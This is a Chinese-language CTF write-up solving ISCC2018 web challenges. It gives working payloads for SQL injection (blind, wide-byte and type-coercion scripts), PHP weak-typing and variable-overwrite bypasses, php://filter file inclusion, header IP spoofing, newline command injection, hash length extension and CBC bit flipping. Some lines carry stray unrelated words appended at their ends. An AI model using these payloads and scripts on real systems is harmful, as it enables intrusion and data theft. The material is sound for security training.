ISCC2018 writeup(web)

 

 

 比较数字大小php

F12 修改maxlength为4python

 

 

 

 

web01mysql

 

strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候,若是有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,因此绕过题目限制。web

payload:  get: /?password[]=1sql

 

本地的诱惑数据库

右键查看源代码便可。数组

你能跨过去吗?服务器

 

 复制callback参数内容 base64解码获得<script>alert("key:/%nsfocusXSStest%/")</script>  复制key的内容 提交获得flag;cookie

一切都是套路ide

访问/index.php.txt获得源代码:

 

变量覆盖漏洞($$): 

get: ?_200=flag

post: flag=x

 

你能绕过吗

 

更改f参数的内容发现会报错,猜想是文件包含漏洞

用php伪协议来读取flag.通过测试发现题目过滤了php 因此用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

 

 web02

 

 burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 获得flag。

 

 

请ping个人ip 看你能Ping通吗?

 根据题目要求 ping 猜想是命令注入漏洞,过滤了; & |等特殊符号  利用%0a(换行)进行绕过

用  ls / 命令查看目录

 

最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag获得flag 

 

Please give me username and password!

/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;

?username[]=0&password=1e9

 

 

 

SQL注入的艺术

点击我的信息页面,宽字节注入,能够盲注也能够联合查询注入。 当时写了个脚本盲注的。

import re
import requests

cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
	for ss in list:
		p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
		u = requests.get(url+p)
		if "head.jpg" in u.content:
			cname += chr(ss)
			print cname
			break

for i in range(1,23):
	for l in list:
		pp = payload.format(p='select flag from admins',m=i,n=l)
		u = requests.get(url+pp)
		if "head.jpg" in u.content:
			flag += chr(l)
			print flag
			break

  

 

 

 

 

 

 

试试看

/show.php?img=1.jpg  复制图片地址  文件包含漏洞。

因为不包含.jpg文件提示File not found! resource能够包含两个文件 因此绕过

payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码获得flag。

 

 

Collide

 

 直接给出源代码,因为key的值不知道 可是咱们知道key的 长度为46,利用hash长度扩展攻击

编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

 用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

 

 

 

 

Only admin can see flag

cbc字节翻转攻击

/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。

 

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))

jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))

  

 先用admiN 123456登陆

在地址栏处回车(不要刷新,不然cipher 和iv会刷新)并用burp抓包。

 

将iv 和 cipher放入脚本中 获得新的 cipher 修改cookie中的 cipher 获得报错信息中的 cipher。

 

 

 复制报错信息中的cipher到脚本中 运行获得新的iv  修改iv为新的iv 且cipher为第一次脚本运行获得的cipher。获得flag;

 

 

 为何这么简单啊

根据提示利用 xff ip地址伪造和referer 便可进入第二关。

 右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交获得flag。

 

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码获得: xinyiji.com

 

php是世界上最好的语言

用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(能够看我以前写过的php知识点总结)

 点击获得

利用全局变量打印出$flag变量便可。

 

 

 

Sqli

题目说的很明确 就是注入了。通过测试发现是盲注 因而写了个脚本跑出密码登陆。

解密: u4g009

提示在另外一个字段,(真他妈坑啊),这里直接联合查询注入就能够了。

顺便附上我写的垃圾盲注脚本

import requests

tname = ''
pwd = ''
url = 'http://118.190.152.202:8011/index.php'
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')

# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break

for i in range(1,33):
    for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})
        if 'normal' in u.content:
            pwd += k
            print pwd
            break

 

 有种你来绕

 

 

根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注获得密码。

写了个脚本跑出密码登陆。

 

import requests

url = "http://118.190.152.202:8019/login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
password = ''
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in range(1,33):
    for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})
        if not 'username' in u.content:
            password += k
            print password

 解密: nishishabi1438  (我他妈想打死傻逼出题人)

输入flag,执行便可。

web400 Only Admin 是cookie注入,可是本身没怎么看,等其余师傅分享wp再学习一波吧。

相关文章
相关标签/搜索